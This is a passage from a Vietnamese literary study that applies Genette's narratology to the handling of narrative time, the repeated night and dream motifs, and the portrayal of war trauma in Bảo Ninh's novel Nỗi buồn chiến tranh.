thản: “Tất cả đang diễn ra đột nhiên đứt gãy và bị quét sạch khỏi giữa chừng trang giấy như rơi vào một kẽ nứt nào đó của thời gian tác phẩm. Ta vẫn gọi đó là sự mất bố cục, sự thiếu mạch lạc, thiếu bao quát nhiều khi đó là sự hụt hẫng của tư duy người viết.” .

Trong Nỗi buồn chiến tranh, phần lớn những màn cảnh đều có sự giảm tốc như vậy. Chính điều đó đã tạo nên cho tác phẩm một nhịp điệu riêng – nhịp điệu chậm rãi nhưng không tẻ nhạt đều đều mà xoáy sâu, day dứt đầy ám ảnh.

Thiên hướng sử dụng ít tỉnh lược và lược thuật             

Có thể thấy, tiểu thuyết Nỗi buồn chiến tranh, mặc dù xét trên tổng thể tốc độ trần thuật là tương đối chậm. Song tốc độ đó không phải được duy trì ổn định với sự trung bình trên tất cả các sự kiện, tình huống truyện. Qua khảo sát Nỗi buồn chiến tranh, chúng tôi nhận thấy có những đoạn sự kiện được kể với tốc độ chậm, kéo dài. Song ngược lại, ở nhiều sự kiện tốc độ kể chuyện lại gia tăng đáng kể. Việc gia tốc thời gian không có nghĩa là làm cho tốc độ kể chuyện xét trên tổng thể trở nên nhanh hơn mà điều đó chỉ góp phần tạo nên nhịp điệu kể truyện cho tác phẩm.

Để tạo nên sự gia tốc thời gian đó phải kể đến vai trò của những tỉnh lượclược thuật. Hiện tượng này làm đảo ngược độ chênh giữa thời gian sự kiện và thời gian kể. Do đó, “thời gian kể co dần lại trong khi thời gian sự kiện bắt đầu có sự gấp khúc, chùng xuống kéo theo sự gia tốc trong trần thuật. Câu chuyện vận động về phía trước với “vận tốc” ngày một tăng” [23,54].

Tỉnh lược là “cách tạo ra gia tốc cực nhanh cho câu chuyện” [23,44]. Những tỉnh lược trong Nỗi buồn chiến tranh được Bảo Ninh sử dụng theo khuynh hướng khái quát, chắt lọc và dồn nén sự kiện. Trong một quãng thời gian nào đó của câu chuyện, người kể chuyện thuật lại ngắn gọn các sự kiện quan trọng theo hình thức đan cài, lồng ghép, đồng hiện và dồn chúng lại trong một số ít dòng sự kiện thông qua dòng hồi tưởng của nhân vật chính – Kiên.

Trong Nỗi buồn chiến tranh, chỉ với độ dài 1 trang rưỡi văn bản (từ trang 33 đến trang 34) mà chứa đựng dồn dập bao nhiêu hồi ức, cảm giác, ấn tượng: “hồn ma”, “đêm kì ảo lạ lùng”, “giấc mơ dài”, “truông Gọi Hồn”, “tiếng hú buồn đau và ghê rợn vang lên từ tiềm thức”, “tiếng gọi của tình yêu”, “mối tình cuồng si bí ẩn và đầy tội lỗi”…. Những đối tượng ấy tưởng như thuộc về những lĩnh vực rất cách xa nhau trong đời sống, giờ đây xích lại gần, hòa trộn vào trong nhau. Mạch văn chuyển dịch một cách gấp gáp, nhịp điệu câu văn từ đó mà nhanh dần, đã giúp tác giả trình bày hàng loạt những câu chuyện còn dang dở, những chi tiết bị bỏ lửng… Nó góp phần gợi ra hình ảnh một hiện thực bị nghiền nát vụn vỡ và bất trắc.

Trong dòng hồi ức miên man bất định của Kiên: những đoạn đời, những kỉ niệm, những bức tranh phong cảnh, những hình ảnh người phụ nữ cứ lần lượt kế tiếp hiện về. Lúc này, dạng thức tỉnh lược được sử dụng hiệu quả: “Kí ức về một trưa mùa khô rực rỡ nắng, hoa nở đầy trong những khoảnh rừng thưa… Kí ức một ngày mưa gian truân bên bờ Sa Thầy vào rừng hái măng đào củ… Những gương mặt đàn bà mến thương xa lạ gợi niềm nhớ nhung âu yếm… Niềm đau của mối tình… Kí ức xa vời, trập trùng và lặng lẽ, khắc nghiệt và thẳm sâu như rừng như núi trong lòng anh chiều ấy…” . Thời gian như được co lại trong các sự kiện nối đuôi nhau. Việc tập trung chủ yếu vào các sự kiện và bỏ qua kĩ thuật miêu tả là cơ sở xác định tốc độ trần thuật nhanh của truyện kể.

Trong Nỗi buồn chiến tranh, khoảng cách giữa thời gian tự sự và thời gian sự kiện không đồng đều giữa các đoạn tình tiết của câu chuyện với nhau. So với thời gian câu chuyện thì gian tự sự có khi gia tốc. Gia tốc ở những chỗ tỉnh lược – thường là những đoạn mà trí nhớ của Kiên lướt nhanh qua những vùng hồi ức: “Giữa những cảnh chiến tranh trong mơ đôi khi Kiên vẫn thấy thoáng lên những cảnh sinh hoạt và lao động của đời lính B3. Mùa khô phá rẫy đốt nương. Mùa mưa làm cỏ úa. Mùa mưa vào rừng nhặt măng hái nấm. Mùa khô giăng lưới bắt cá, đặt bẫy săn thú. Mùa khô đi gùi.”.

Trong Nỗi buồn chiến tranh, đồng hiện không gian, thời gian cũng góp phần làm gia tăng tốc độ trần thuật: “Nhiều hôm không đâu giữa phố xá đông người tôi đi lạc vào một giấc mơ khi tỉnh. Mùi hôi hám pha tạp của đường phố bị cảm giác nống lên thành mùi thối giữa. Tôi tưởng mình đang đi qua đồi “Xáo Thịt” la liệt người chết sau trận xáp lá cà tắm máu cuối tháng Chạp 72 (…). Có đêm tôi giật mình thức dậy nghe tiếng quạt trần hóa thành tiếng rú rít rợn gáy của trực thăng vũ trang. Thót người lại trên giường tôi nín thở đợi một trái hỏa tiễn từ tàu rà phụt xuống” . Ba khoảng không gian, thời gian cách xa nhau (đường phố hiện tại – đồi Xáo Thịt năm 1972 – căn phòng hiện tại) cùng xuất hiện trong một đoạn văn ngắn đã chứng tỏ ưu thế của dạng thức tỉnh lược. Nó không những làm cho tốc độ trần thuật, thời gian diễn tiến nhanh hơn mà còn gợi lại những cảnh tượng kinh hoàng của chiến trận, đồng thời diễn tả hội chứng chiến tranh khủng khiếp trong tâm hồn Kiên.

Lược thuật cũng làm cho tốc độ kể chuyện gia tăng nhưng không đạt đến cực đại như trong tỉnh lược. Lược thuật – “sự thuật lại trong một vài đoạn, vài trang sự tồn tại của một vài ngày, vài tháng, vài năm mà không có những chi tiết của hành động lời nói” [53,51]. Trong 8 trang văn bản Nỗi buồn chiến tranh (từ trang 99 đến trang 106) mà thể hiện được những phức hợp nhận thức đau xót, mất mát, đắng cay, thất vọng… của cả một đời người: Gặp Phương sau mười năm chiến tranh, quãng đời chung sống đau đớn của hai người, Kiên thấy mình “đang bị mắc kẹt trên cõi đời này”. Phương bỏ đi, Kiên cảm nhận rõ “thiên mệnh của đời mình: sống ngược trở lại, lần tìm trở lại con đường của mối tình xưa, chiến đấu lại cuộc chiến đấu”  [45,102]. “Chỉ kể lại rất ít những sự kiện chính trong một thời gian tương đối dài, đó chính là cách kể lược thuật của người kể chuyện” [2,79].

        Sự tham gia của các tỉnh lược lược thuật khiến thời gian tự sự trong Nỗi buồn chiến tranh dường như trôi nhanh hơn. Tỉnh lược và lược thuật xuất hiện rải rác, chúng nhiều khi đan xen vào nhau khó có thể bóc tách được rõ ràng.

Tần suất

Mối quan hệ giữa thời gian của câu chuyện và thời gian của truyện kể còn được xem xét ở một khía cạnh khác. Đó là quan hệ về các sự kiện xuất hiện (nhiều hoặc ít trong câu chuyện và số lần mà chúng được kể lại trong truyện). Genette gọi đây là tần suất kể chuyện và phân ra thành các loại quan hệ:

Trần thuật đơn nhất: là cách kể lại một lần những sự việc xảy ra một lần, hoặc kể lại n lần những sự việc xảy ra n lần.

Trần thuật trùng lặp:  kể lại n lần những sự việc xảy ra một lần.

       – Trần thuật khái quát: kể lại một lần những sự việc xảy ra n lần.

Qua khảo sát Nỗi buồn chiến tranh, chúng tôi nhận thấy kiểu trần thuật trùng lặp xuất hiện phổ biến trong tác phẩm. Trần thuật trùng lặp được xác định khi “sự việc xảy ra một lần được kể lại nhiều lần, với điều kiện giữa cái được lặp đi lặp lại nhiều lần ấy với sự việc ban đầu phải có quan hệ đồng dạng” [3,78]. Việc nghiên cứu tần suất, sự lặp lại trong Nỗi buồn chiến tranh được biểu hiện trên các bình diện: biểu tượng, mô típ, hình ảnh (mưa, đêm, cái chết, giấc mơ), nhân vật, từ ngữ, cú pháp… Tuy nhiên, chúng tôi không tham vọng tìm hiểu hết các bình diện đó mà chỉ tập trung đi sâu vào nghiên cứu sự lặp lại của biểu tượng đêm với mô típ giấc mơ và số lần các sự kiện nhân vật xuất hiện trong tác phẩm.

Nỗi buồn chiến tranh là dòng hồi ức của nhân vật Kiên về con người trong chiến tranh, vì vậy các sự kiện được bộc lộ chủ yếu thông qua dòng ý thức, dòng tâm tư của nhân vật. Đêm chính là khoảng thời gian thích hợp nhất để con người sống với thế giới vô thức, thế giới tâm linh, tiềm thức của mình; bóng đêm là cái nền để mơ những giấc mơ về quá khứ bất tận. Qua khảo sát Nỗi buồn chiến tranh, chúng tôi nhận thấy biểu tượng đêm (tên gọi cùng với các biến thể của nó) và mô típ giấc mơ được lặp lại với tần số khá cao trong tác phẩm.

Bảng 1.2

Bảng thống kê tần số xuất hiện

biểu tượng đêm và mô típ giấc mơ trong Nỗi buồn chiến tranh (Bảo Ninh)

 

Tác phẩm

Tổng số trang

 

Tần số xuất hiện
 

Nỗi buồn chiến tranh

 

312

Đêm

299

Giấc mơ

111

 

Theo dõi bảng thống kê trên, ta thấy tiểu thuyết Nỗi buồn chiến tranh dày đặc biểu tượng đêm và mô típ giấc mơ, nó diễn tả nỗi buồn triền miên vô tận trong trong tâm hồn Kiên. Cứ mỗi lần đêm buông là chuỗi kí ức lại hiện về. Bóng đêm không chỉ phủ trùm hầu hết giấc mơ của nhân vật mà nó còn gắn liền với sự kiện chính diễn ra trong cuộc đời Kiên. Dưới đây, chúng tôi dẫn ra một số những chi tiết, sự kiện chính để thấy được sự lặp lại của biểu tượng đêm và mô típ giấc mơ xuất hiện trong trong tác phẩm.

(1) “Đêm, thật lạ lùng, một đêm có lẽ là kì ảo nhất trong bao đêm tối của đời anh. Gần như toàn bộ cuộc đời chiến đấu với cả một đạo quân những người đã chết mà anh từng gặp gỡ trong chiến trận đã trở về với anh qua những cánh cửa vòm cuốn mờ tối của giấc mơ dài không dứt” .

(2) “Về đêm… khi ngủ… những giấc mơ đậm đặc cảm giác, nóng bỏng và ngọt lịm như mật ứa ra trào lên lấp đầy cõi mộng mị. Trong những đêm mưa ấy, kí ức về Phương hiện lên và bước tới với anh trong bóng hình tiên nữ mờ ảo”.

(3) “Một đêm khác, cũng trong mơ, tôi nhìn thấy truông Gọi Hồn và mơ thấy Hòa, cô giao liên xinh tươi, người Hải Hậu đã hi sinh vào thủa tối tăm mịt mù năm 68”.

(4) “Khi phát hiện ra cuộc tình bi thảm đầy sàm báng và tuyệt vọng của đồng đội với ba cô gái bị bỏ quên giữa rừng sâu, Kiên đêm nào cũng mơ tới Phương” .

(5) “Hằng đêm anh miệt mài mê mẩn chìm trong cái vuốt ve vô tận của mộng mị. Ngay cả khi bên cạnh có một cô gái đang trở mình áp sát vào anh trong giấc ngủ thì nhắm mắt lại anh vẫn khác khoải nhớ tới Phương” .

(6) “Kể từ ngày Phương từ bỏ anh, hằng đêm Kiên mất ngủ vì những chuỗi dài giấc mơ kể lại chính cuộc đời anh. Vô tận những đoạn đời khác biệt, so le nhau hàng năm trời và đột ngột hiện ra cùng một lúc, đan xen…” .

       Thời gian đêm không chỉ được khơi gợi trong từ ngữ mà những chi tiết, sự kiện, hoạt động của nhân vật cũng nhuốm màu đêm. Chỉ trong thời điểm ban đêm, con người mới thực sự trở về với chính mình, mới có thể chìm sâu vào những giấc mơ trùng điệp, bất tận mà không một thế lực, sức mạnh nào có thể động được tới cõi thẳm sâu, huyền bí mộng mị ấy. Đêm như là thời gian sống của Kiên, bởi lẽ hiện tại đối với anh chỉ là những chuỗi ngày vô nghĩa. Không hòa hợp được với cuộc sống thực tại, anh tìm đến thế giới tâm linh, thế giới của những hoài niệm, mơ tưởng.

        Nếu những giấc mơ trong Chinatown (Thuận) là kết quả của chuỗi ẩn ức không thể giải tỏa hoặc vô số hoang tưởng mộng mị cực độ của nhân vật thì trong Nỗi buồn chiến tranh, giấc mơ thường bắt đầu từ ám ảnh có thật, từ sự kiện có thật mà nhân vật đã đi qua và nếm trải. Nếu trong Chinatown, những giấc mơ hầu hết là ảo ảnh đẹp đẽ thì trong Nỗi buồn chiến tranh, mỗi giấc mơ là những “cơn ác mộng giợn người kinh khủng như những liều thuốc độc”. Nó gắn liền với những sự kiện về cái chết (giấc mơ về truông Gọi Hồn; giấc mơ về cái chết của ba cô gái Thơm, Mây, Hơ-bia; giấc mơ về Hòa – nữ giao liên tự nguyện hi sinh vì anh…), cho thấy thời gian sống của Kiên chủ yếu là mộng mị nặng nề, bị ám ảnh bởi những cái chết mà anh đã tận mắt chứng kiến, nó còn là nỗi xót xa, niềm thương cảm cho những số phận con người nhỏ bé mong manh trước chiến tranh. Đồng thời phơi bày sự khốc liệt bạo tàn phi nhân tính của nó.

Tuy nhiên, ám ảnh và đau xót nhất là những giấc mơ của Kiên về Phương, nó bao choán lấy tâm hồn Kiên: “Kiên đêm nào cũng mơ thấy Phương”. Dòng trôi của tâm trạng không bằng lặng, một chiều mà phức tạp, nỗi ngọt ngào xen lẫn niềm cay đắng. Đoạn trước của tiểu thuyết ta bắt gặp chân dung Phương 17 tuổi, ngay sau đó đã trở thành một người đàn bà tuyệt vọng, rồi đột ngột hiện ra hình ảnh một cô bé 13 tuổi, rồi 16, 17 tuổi với một sắc đẹp liều lĩnh và bất kham. Những hình ảnh đó gắn liền với những kí ức, những ấn tượng đã đi vào Kiên như vết hằn khó phai. Có thể nói, ám ảnh của quá khứ, của kí ức về chiến tranh, tình yêu khiến anh đang dần mất đi mối liên hệ với thực tại. Nhiều khi anh cảm thấy mình như kẻ bị mắc kẹt lại giữa cõi đời này. Nhưng chính kí ức, giấc mơ lại là cuộc sống của riêng anh, giúp anh “thoát khỏi vô tận những tấn trò đời hôm nay” .

Như vậy, thời gian đêm với những “giấc mơ ban ngày”, “giấc mơ mở mắt” xuất hiện với tần số khá cao trong tác phẩm với nhiều dạng vẻ khác nhau nhưng đều nhằm thể hiện một dòng chảy của ý thức rối bời, miên man bất định của nhân vật. Những giấc mơ thác loạn, chập chờn, đứt đoạn và rối tung của nhân vật biểu hiện cho một thế giới tâm lí đầy những ẩn ức, dằn vặt khủng khiếp.

Ngoài ra, sự lặp đi lặp lại thời gian đêm (cũng như những biến thể của nó: bóng tối, tối tăm, tối khuya, mịt mù…) cùng với mô típ giấc mơ tạo nên nhịp điệu thời gian đặc sắc cho tiểu thuyết Nỗi buồn chiến tranh.

Nỗi buồn chiến tranh được thêu dệt nên bởi hàng loạt những giấc mơ đứt nối, những hồi tưởng gấp khúc, hỗn loạn của nhân vật chính – Kiên. Vì vậy, các sự kiện không được kể một cách mạch lạc theo trật tự thời gian tuyến tính mà diễn ra lộn xộn thông qua dòng hồi tưởng. Nhiều sự kiện được lặp lại nhiều lần như một nỗi ám ảnh: sự kiện Kiên cùng Phương trên tàu xuất hiện ba lần; Hoà  cô giao liên năm xưa hai lần; Hiền  chiến sĩ phế binh hai lần… Nhưng mỗi lần là một vùng kỉ niệm, sự kiện sau không phải là sự lặp lại của sự kiện trước mà là sự mở rộng.

        Kí ức về Hòa – nữ giao liên, là một nỗi ám ảnh, day dứt trong lòng Kiên được kể hai lần ở những điểm nhìn khác nhau nhưng đều chung một tâm trạng buồn, đau đớn, xót xa khi nghĩ về Hoà.

        (1) Một đêm, trong giấc mơ trở lại truông Gọi Hồn, Kiên đã mơ thấy Hoà – cô giao liên xinh tươi, người Hải Hậu: “trong màn sương mù dày đặc của giấc mơ, tôi chỉ thấy Hoà thấp thoáng, xa vời nhưng với một tình yêu, một niềm đắm say và cảm giác gần gũi da diết”; cảnh tượng Hoà gục ngã giữa trảng cỏ và một bầy Mỹ xô tới .

        (2) Kí ức đau thương về Hoà lấy cái chết để giải cứu cho Kiên và các thương binh: tình cảnh đoàn cáng thương; tình hình lục sùng của địch; Hòa và Kiên tìm đường “bằng mọi giá phải tìm được đường ra sông”; phát hiện có địch; Hoà xông lên đánh lạc hướng, nhử địch về phía mình cho Kiên và đồng đội thoát chạy “Hòa đứng hơi nghiêng trước nắng tà nên thân hình mảnh mai nổi lên đậm nét với những đường cong sẫm tối và những vệt da bắt sáng. Mái tóc xõa trên vai. Cái cổ cao yếu ớt, áo cộc, quần đùi, đôi chân trần đầy vết gai cào”; địch đuổi theo và giết Hoà.

        Như vậy, giữa blog sự kiện (1) và blog sự kiện (2) không phải là sự kế tiếp mà là một sự mở rộng. Đọc xong blog sự kiện (1), người đọc dường như không nghĩ và chờ đợi thêm (vì nó như là một sự trọn vẹn trong phạm vi về sự kiện). Nhưng đến blog sự kiện (2), người đọc lại được biết thêm thông tin, rõ hơn về sự kiện – đức tính hi sinh thầm lặng của Hòa, lấy cái chết để giải cứu cho Kiên và các thương binh. Mỗi blog sự kiện được hình thành bởi một nguyên nhân, nếu blog (1) nguyên nhân từ những giấc mơ về truông Gọi Hồn thời Mậu Thân thì blog (2) lại là những hồi tưởng về những cái chết của đồng đội để cứu sống Kiên. Mỗi một blog sự kiện được tái hiện trong những hoàn cảnh khác nhau, bởi những nguyên nhân khác nhau còn góp phần soi sáng bản chất con người, thể hiện một cách khách quan nhất bản chất, tính cách của nhân vật mà không cần phán xét.

Hay sự kiện Kiên cùng Phương trên tàu xuất hiện ba lần. Những trần thuật trùng lặp của nhân vật đều xuất hiện dưới dạng độc thoại nội tâm:

(1) “Anh chẳng sợ gì cái chết. Cái chết không đáng sợ, chỉ buồn thôi, và nó trĩu nặng nhưng dang dở cùng những tiếc nuối” .

(2) “Tất nhiên đã muộn rồi. Mối tình đã trở thành một cái gì vô phương cứu vãn trong đời. Cho nên nếu đã ước như thế thì phải nói là giá mà không lớn lên ở bên nhau, giá mà không có tình cảm mến thương âu yếm của tuổi học trò, không cùng nhau một thời thơ ấu, một lứa bạn bè. Có biết bao cánh cửa như thế mà lẽ ra nếu kịp khép lại thì những bước đi vu vơ của tuổi trẻ đã không thể đưa số phận mối tình trôi xa, cuốn nó tới vực thẳm này” ..

(3) “Phải, đó là những chuyện đã hoàn toàn quên mà còn nhớ mãi” .

Câu chuyện Phương và Kiên ở nhà ga Thanh Hóa trong chuyến tàu hành quân vào Nam được phân ra thành ba mảnh vỡ xuất hiện xen kẽ không đồng thời mà nó đứt gãy cùng với kí ức của Kiên. Chuyến tàu chở Kiên và Phương vào ga Thanh Hóa đã đưa họ đi nốt những cây số cuối cùng của mối tình đầu, nhưng đồng thời nó cũng chở hai người cập bến một cuộc chiến tranh vô cùng tàn khốc. Trong hồi ức của Kiên, chuyến tàu định mệnh ấy chính là bước ngoặt số phận của hai người, gạch nối giữa hòa bình và chiến tranh, giữa một mối tình đắm say mãnh liệt thành chia li, “dang dở cùng những tiếc nuối”. Cứ mỗi lần nhớ về Phương, về những kỉ niệm tình yêu ngọt ngào là “hiện lên trước mắt Kiên nhà ga Thanh Hóa ngày ấy”.

   
 
   
   
   
   
   
   
   
   
   

Qua việc nghiên cứu cách tổ chức thời gian tự sự trong Nỗi buồn chiến tranh, trên cơ sở ứng dụng lý thuyết thời gian tự sự của Genette (trật tự thời gian, tốc độ tần suất), chúng tôi rút ra một số vấn đề như sau:

Nỗi buồn chiến tranh là hồi ức của nhân vật chính – Kiên về con người trong chiến tranh. Do tính chất hồi ức nên vấn đề thời gian ở đây được thể hiện rất đậm đặc. Thời gian trong tác phẩm không được trình bày theo tiến trình thời gian lịch sử mà luôn có sự đảo lộn, đứt gãy không ngừng.

Trong dòng chảy biên niên của những biến cố xuất hiện nhiều nhánh rẽ, sai trật niên biểu, lối đảo thuậtdự thuật cũng có mặt để phủ kín lên trật tự thời gian niên biểu của truyện kể.

Tốc độ trần thuật trung bình của truyện kể khá chậm. Chính từ tốc độ truyện kể này đã tạo cho nhịp kể của truyện một tính chất hồi cố, trăn trở, góp phần thể hiện cảm xúc, sự suy ngẫm của nhân vật Kiên trong hành trình “đi tìm thời gian đã mất”.

Tính chất lặp đi lặp lại của truyện kể một mặt có ý nghĩa biểu trưng, nhấn mạnh; mặt khác tạo nên nhịp điệu cho toàn bộ tiểu thuyết Nỗi buồn chiến tranh.

   

HiỆU QUẢ NGHỆ THUẬT CỦA THỜI GIAN TỰ SỰ TRONG NỖI BUỒN CHIẾN TRANH

Dòng thời gian đứt gãy, xáo trộn – những ám ảnh, day dứt về hiện thực

        Hiện thực chiến tranh tàn khốc, hủy diệt

Trong Nỗi buồn chiến tranh, nhà văn đã để cho nhân vật Kiên, người lính trinh sát năm xưa và nay trở về là “nhà văn của phường” kể về “cuộc chiến của riêng anh”, một cuộc chiến “hoàn toàn khác với cuộc chiến đấu chung” từng được mọi người biết tới. Cứ mỗi lần kí ức chiến tranh hiện về, tâm hồn Kiên luôn bị ám ảnh, day dứt không nguôi bởi sự tàn khốc, hủy diệt của chiến tranh. Chiến tranh không chỉ để lại nỗi đau thể xác mà nó còn để lại nỗi đau  tinh thần dai dẳng cho con người, không chỉ ở một thế hệ, nó để lại một nỗi đau “truyền kiếp”.

Chiến tranh đồng nghĩa với cái chết và sự hủy diệt sự sống của con người

Có thể nói, chiến tranh hiện hình trên những trang viết của anh là một thế giới “đầy rẫy những tử thi”. Những chi tiết khủng khiếp được miêu tả trong Nỗi buồn chiến tranh, đã khiến nhiều người hiểu sai lệch ý đồ của tác giả theo cái nhìn chính trị hóa văn chương. Thực ra, chủ đề chiến tranh trong tiểu thuyết này đã vượt ra khỏi ý nghĩa miêu tả thông thường, trở thành biểu tượng khái quát nhất của Nỗi buồn chiến tranh, góp phần làm nên giá trị nhân văn cao đẹp cho tác phẩm.

Tình yêu – một trong những tình cảm đẹp đẽ nhất của con người cũng không thoát khỏi sự vùi dập của chiến tranh

Đó là kí ức về mối tình đau xót giữa Kiên và Phương trên con tàu định mệnh năm xưa. Tiếng gầm rú đầu tiên của máy bay như một tiếng còi dài của chiến tranh vang lên đã làm họ lạc mất nhau giữa đêm tối của chiến trận hoang vu. Trước mắt Kiên và Phương – hai tâm hồn trắng trong, chưa vướng bụi đời đã bị cuốn vào cảnh tàn phá dữ dội của bom đạn. Hình ảnh Phương gặp nạn trên con tàu định mệnh là một chân dung đau xót về sự mất mát của tình yêu. Phương đánh mất đời người con gái, cùng một lúc cô mang hai vết thương: vết thương trên thân thể và vết thương trong tâm hồn: “một gương mặt lạ lẫm hầu như không quen biết, ngực áo cộc tay mở hết cúc, cổ bị những vết cào xước, môi bầm dập và không nói (…), cái nhìn trừng trừng như vô cảm, lửng lơ xa lạ”.

Những suy nghĩ của Kiên trước những biểu hiện khác thường của Phương sau khi cô “bị cướp” đi sự trong trắng trên chuyến tàu định mệnh năm xưa đã cho thấy vết rạn nứt trong tình cảm của họ:

“Thì ra những tai họa ráng xuống đời hai đứa, đối với Phương có vẻ không hề là tai họa. Trái lại dường như nàng chỉ coi đó là những yếu tố mới trong cuộc sống mà nàng sẵn sàng đón nhận và thích nghi” .

“Hẳn rằng lúc này, Phương hoàn toàn chẳng còn thiết gì nữa, tuyệt đối buông thả, tuyệt đối không còn biết sợ là gì nữa. Kiên nghĩ” .

“Một cách vô phương cứu vãn, từ một người bạn gái tươi đẹp, luôn tha thiết, luôn luôn đằm thắm. Phương của anh Kiên nghĩ Trong phút chốc biến thành một người đàn bà khác hẳn, xiết bao xa lạ đối với anh, một người đàn bà từng trải đã gạt mọi ảo tưởng và đã tan biến niềm hi vọng, lạnh nhạt vô tình, dửng dưng với tất thảy, với bản thân nàng, với anh, với quá khứ, với cảnh ngộ tang thương, đau khổ của mọi người…” .

Có thể nói, những dòng suy nghĩ của Kiên về Phương như vậy, cho chúng ta thấy giữa họ có một khoảng cách vô hình. Chiến tranh như một nhát cắt phũ phàng của số phận đẩy tình yêu của họ ra hai cực trên chuyến tàu định mệnh. Bắt đầu từ đây cuộc đời Kiên chìm trong máu lửa, thương đau và thất bại. Họ vĩnh viễn mất đi tình yêu trong sáng tuổi 17. Ngày Kiên trở về tình cảm của họ chỉ còn là nỗi thống khổ của hai con người chịu nhiều tổn thương trong chiến tranh, “kí ức chẳng buông tha, chúng mình đã lầm tưởng có thể vượt qua được một hạt sạn? không phải là hạt sạn mà là một trái núi…”. Lời nói của Phương lúc nàng ra đi là một lời thú nhận cuối cùng. Họ vĩnh viễn mất nhau, số phận cay đắng cho tình yêu đầu đời của hai người sau chiến tranh không thể nào hàn gắn nổi.

 

       Hiện thực tâm hồn bị chấn thương nặng nề sau chiến tranh  

Bảo Ninh với tiểu thuyết Nỗi buồn chiến tranh, đã thể hiện rất thành công bi kịch của những người lính sau chiến tranh – “hội chứng sau chiến tranh”. Bằng việc đi sâu khám phá những dư chấn của chiến tranh làm ảnh hưởng đến cuộc sống thời hậu chiến của người lính, Bảo Ninh đã đem đến cho người đọc một cái nhìn sâu sắc và toàn diện hơn về nhân vật. Trần Đình Sử đọc Nỗi buồn chiến tranhnhìn trên phương diện hiện thực chiến tranh đã nhận xét: “Tiểu thuyết Nỗi buồn chiến tranh của Bảo Ninh đã kể lại cuộc chiến tranh với tất cả tính chất chiến tranh của nó. Những tính chất không chỉ thể hiện ở cái chết nơi chiến trận, mà còn mở rộng ra thành cái chết trong tâm hồn, tình yêu, thành mọi sự dở dang” [42,17].

Trong Nỗi buồn chiến tranh, Kiên may mắn là người duy nhất của đội trinh sát có mặt trong ngày chiến thắng nhưng ngay trong ngày ấy, Kiên đã không có được tâm trạng hân hoan, hạnh phúc như người ta vẫn nói về ngày đầu tiên thống nhất đất nước. Ngay từ lúc này đây, Kiên đã “đột nhiên thấy tràn ngập cảm giác cô đơn trơ trọi. Trơ trọi hơn bao giờ hết, trơ trọi từ đây”. Điều đó được khẳng định thêm bằng những câu hỏi thể hiện nỗi băn khoăn day dứt của anh mỗi khi được nghe người ta kể hoặc được xem phim, được thấy cảnh 30 tháng 4 ở Sài Gòn trên màn ảnh:

“Cũng như họ, cũng trải qua những cảnh tượng không thể nào quên của chiến thắng, mà đám lính chiến tụi anh lại không có được tâm trạng sáng choang, bay bổng, ào ào sướng vui như họ là cớ làm sao? Tại sao cảm giác ngột ngạt lại đến với bọn anh quá sớm như thế, hầu như là chưa nhấc kịp chân ra khỏi chiến hào nữa kìa?”.

Việc Kiên không thể có được tâm trạng “sáng choang, bay bổng, ào ào sướng vui” trong ngày chiến thắng, bởi lẽ lúc này trong tâm thức anh đã cảm nhận được cái giá của ngày chiến thắng: “ra đi cùng với ba chục năm trường chiến trận là cả một thời, là cả một thế giới với biết bao nhiêu là cuộc đời và số phận, là sự sụp đổ của cả một góc trời cùng đất đai và sông núi” . Anh mang trong mình mặc cảm sống sót:“khi anh và tôi thì sống còn những người ưu tú nhất, tốt đẹp nhất, những người xứng đáng hơn ai hết quyền sống trên cõi dương này đều gục ngã, bị cỗ máy đẫm máu của chiến trận chà đạp, đày đọa (…) thì sự bình yên này, cuộc sống này, cảnh trời êm biển lặng này là cả một nghịch lí quái gở” .

Theo thời gian, cảm giác ngột ngạt trong ngày chiến thắng chẳng những không nguôi ngoai mà ngày càng trở nên nặng nề. Những kỉ niệm, những dư chấn dai dẳng về cuộc chiến tranh, dù anh muốn quên đi, dù anh biết rằng “lẽ ra phải khuyên mọi người hãy quên đi” nhưng chính anh cũng biết “quên thật là khó”. Kiên nghĩ “không biết đến bao giờ lòng mình có thể nguôi quên, trái tim mới có thể thoát khỏi gọng bàn tay xiết chặt của những kỉ niệm về chiến tranh năm xưa” , những kỉ niệm có thể là êm đềm có thể là ác hại nhưng đều để lại vết thương mà cho dù năm tháng qua đi nó vẫn còn đau, đau mãi trong lòng anh mà không có một giây phút nào bình lặng. Cái không gian rộng lớn của quá khứ vẫn cứ đeo bám anh, biết bao kỉ niệm bi thảm, bao nhiêu nỗi đau mà từ lâu Kiên phải cố gắng quên đi, vậy mà rốt cuộc đều bị lay thức bởi chấn động của kí ức. Chiến tranh đã chặt lìa cuộc đời Kiên thành hai mảnh không thể chắp nối lại được như cũ (một mảnh là Kiên của tuổi 17 trẻ trung, trong sáng và một mảnh là Kiên của tuổi 40 luống tuổi, hết thời, trống rỗng, buồn đau…). Quá khứ chiến tranh luôn hiện diện, ám ảnh Kiên suốt cuộc đời hậu chiến u buồn: “Trở về sau chiến tranh, cho đến bây giờ tôi đã phải chịu đựng hết hồi ức này đến hồi ức khác, ngày này qua ngày khác, đêm thâu này qua đêm thâu kia thử hỏi đã bao nhiêu năm ròng?”. Anh không thể tự làm chủ được tâm hồn mình nữa. Những kí ức về chiến tranh dữ dội thường bất chợt ập đến làm Kiên luôn sống trong hoảng loạn. Liệu có bao nhiêu người trên trái đất này phải trải qua những giấc mơ giữa ban ngày khủng khiếp như Kiên: “Nhiều hôm không đâu giữa phố xá đông người tôi đi lạc vào một giấc mơ khi tỉnh. Mùi hôi hám pha tạp của đường phố bị cảm giác nống lên thành mùi thối giữa. Tôi tưởng mình đang đi qua đồi “Xáo Thịt” la liệt người chết sau trận xáp lá cà tắm máu cuối tháng Chạp 72” . Hiện tại bị biến thành quá khứ, hòa bình bị hình bóng chiến tranh xua tan biến, Kiên hoàn toàn đánh mất hiện tại: “Có đêm tôi giật mình thức dậy nghe tiếng quạt trần hóa thành tiếng rú rít rợn gáy của trực thăng vũ trang. Thót người lại trên giường tôi nín thở đợi một trái hỏa tiễn từ tàu rà phụt xuống (…) Tôi như sẵn sàng nhập thân trở lại với cảnh lửa, cảnh máu, những cảnh chém giết cuồng dại, méo xệch tâm hồn và nhân dạng” . Dấu ấn sâu đậm của quá khứ khiến những con người như Kiên không tài nào nhấc chân ra khỏi miệng hố của chiến tranh. Dù đã trở về nhưng anh không thể hòa nhập được với cuộc sống hiện tại và càng ngày “Kiên càng có cảm giác rằng: không phải là mình đang sống mà là bị mắc kẹt trên cõi đời này”. Theo cách nói của nhân vật Lực trong Cỏ Lau (Nguyễn Minh Châu) thì cuộc đời anh đã bị chiến tranh như một nhát dao phạt ngang thành hai nửa không lìa hẳn nhưng cũng không thể gắn liền 